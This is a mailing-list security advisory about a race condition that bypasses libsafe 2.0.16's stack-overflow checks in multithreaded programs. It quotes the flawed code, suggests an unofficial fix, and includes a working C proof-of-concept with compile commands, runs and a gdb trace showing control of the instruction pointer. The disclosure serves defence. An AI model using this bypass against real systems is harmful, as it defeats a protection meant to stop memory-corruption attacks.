[UNIX] Libsafe Safety Check Bypass Vulnerability

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Libsafe Safety Check Bypass Vulnerability
------------------------------------------------------------------------


SUMMARY

 <http://www.research.avayalabs.com/project/libsafe/> Libsafe is "a 
library that protect critical elements of stacks". Due to a bug in libsafe 
attackers can bypass libsafe checking and exploit a vulnerability 
contained inside libsafe protected multi-threaded application.

DETAILS

Vulnerable Systems:
 * libsafe version 2.0.16

As a example look at the code situated at the safe function strcpy():
char *strcpy(char *dest, const char *src)
{
    ...
    if (!real_strcpy)
      real_strcpy = (strcpy_t) getLibraryFunction("strcpy");
    ...
    if ((max_size = _libsafe_stackVariableP(dest)) == 0) {
      LOG(5, "strcpy(<heap var> , <src>)\n");
      return real_strcpy(dest, src);
    }
    ...
    if ((len = strnlen(src, max_size)) == max_size)
      _libsafe_die("Overflow caused by strcpy()");
    ...

Function _libsafe_stackVariableP() checked length beetwen buffor and stack 
frame. It should return 0 only in case when address does not point to a 
stack variable. Look at the function code:
uint _libsafe_stackVariableP(void *addr) {
    ...
    /*
     * If _libsafe_die() has been called, then we don't need to do anymore
     * libsafe checking.
     */
    if (dying)
      return 0;
    ...

Function _libsafe_die() is called then attack is detected, variable 
"dying" is set and at least aplication is killed. In case of 
multi-threaded programs, it is possible to make attack before the end of 
_libsafe_die(), during the time while checking is not active.

Unoffical Fix:
Probably the code from function _libsafe_stackVariableP can be only 
deleted:
    if (dying)
      return 0;

Proof of Concept:
#include <pthread.h>
#include <stdio.h>

int ok = 0;

void *func1(void *none)
{
        char buf[8];
        while(1)
        {
                if(!ok)
                        continue;
                strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
                break;
        }
        puts("func1 overflow!");
}

void *func2(void *none)
{
        char buf[8];
        ok = 1;
        strcpy(buf, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        puts("func2 overflow!!");
}

int main()
{
        pthread_t t1, t2;
        
        pthread_create(&t1, NULL, &func1, NULL);
        pthread_create(&t2, NULL, &func2, NULL);
        
        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
        
        return 0;
}

To compile use the following line:
bash-2.05b$ gcc -o thread thread.c -pthread

Normal state is:
bash-2.05b$ ./thread
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/thread.
uid=500  euid=500  pid=9235
Call stack:
0x40019b1c  /lib/libsafe.so.2.0.16
0x40019c4b  /lib/libsafe.so.2.0.16
0x80484f5   /home/thread
0x4002dc43  /lib/tls/libpthread-2.3.3.so
Overflow caused by strcpy()
Killed

But then we run program several times:
bash-2.05b$ ./thread
Libsafe version 2.0.16
Detected an attempt to write across stack boundary.
Terminating /home/thread.
uid=500  euid=500  pid=9217
func1 overflow!
Call stack:
0x40019b1c  /lib/libsafe.so.2.0.16
0x40019c4b  /lib/libsafe.so.2.0.16
0x80484f5   /home/thread
0x4002dc43  /lib/tls/libpthread-2.3.3.so
Overflow caused by strcpy()
Segmentation fault (core dumped)

or ...

bash-2.05b$ ./thread
func1 overflow!
Segmentation fault (core dumped)

Core:
bash-2.05b$ gdb thread core.9254
..
#0  0x41414141 in ?? ()
(gdb)


ADDITIONAL INFORMATION

The information has been provided by  <mailto:adv@overflow.pl> 
Overflow.pl.
The original article can be found at:  
<http://www.overflow.pl/adv/libsafebypass.txt> 
http://www.overflow.pl/adv/libsafebypass.txt



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.